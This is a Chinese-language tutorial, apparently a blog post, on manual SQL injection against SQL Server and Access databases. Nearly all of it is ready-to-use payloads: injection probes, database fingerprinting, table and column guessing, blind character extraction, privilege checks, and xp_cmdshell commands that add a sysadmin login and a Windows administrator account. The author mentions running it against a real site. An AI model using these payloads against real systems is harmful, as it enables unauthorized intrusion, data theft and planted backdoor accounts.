Sql Server 手工注入讲解

发布时间:2020-06-17 13:58:59 作者:刘凯峰
来源:网络 阅读:2531

1.判断是否有注入
and 1=1
and 1=2
判断注入的方法是一样的

2.初步判断是否是mssql
and user>0

3.判断数据库系统
and (select count(*) from sysobjects)>0 mssql
and (select count(*) from msysobjects)>0 access

4.注入参数是字符
'and [查询条件] and ''='

5.搜索时没过滤参数的
'and [查询条件] and '%25'='

6.猜数表名
and (select Count(*) from [表名])>0
这个比较蛋疼,总共有3oo多个数据库我手工没有猜出来,有神器sqlmap跑的都显示不完,刚才返回错误,如果填上正确的表名就行了,下面是猜字段,其实和access数据库差不懂,学这个就得会举一反三,这是一些步骤和语句,我给大家自己看吧,主要是这个站比较蛋疼,对了工具的使用会在以后的教程中介绍,学这个要先学会原理,只知道用工具注入也没有什么意思,要学会原理,有自己的思路,然后自己写工具才有成就感

7.猜字段
and (select Count(字段名) from 表名)>0

8.猜字段中记录长度
and (select top 1 len(字段名) from 表名)>0

9.(1)猜字段的ascii值(access)
and (select top 1 asc(mid(字段名,1,1)) from 表名)>0

(2)猜字段的ascii值(mssql)
and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0

10.测试权限结构(mssql)
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系统的帐户
exec master.dbo.sp_addlogin username;--
exec master.dbo.sp_password null,username,password;--
exec master.dbo.sp_addsrvrolemember sysadmin username;--
exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
exec master.dbo.xp_cmdshell 'net user username password /add';--
exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

推荐阅读:
  1. 手工MSSQL注入常用SQL语句
  2. SQL Server基础语句讲解

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

access count 手工

上一篇:go-cache在golang中的应用

下一篇:golang 1.9版本有什么新特性和改进

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》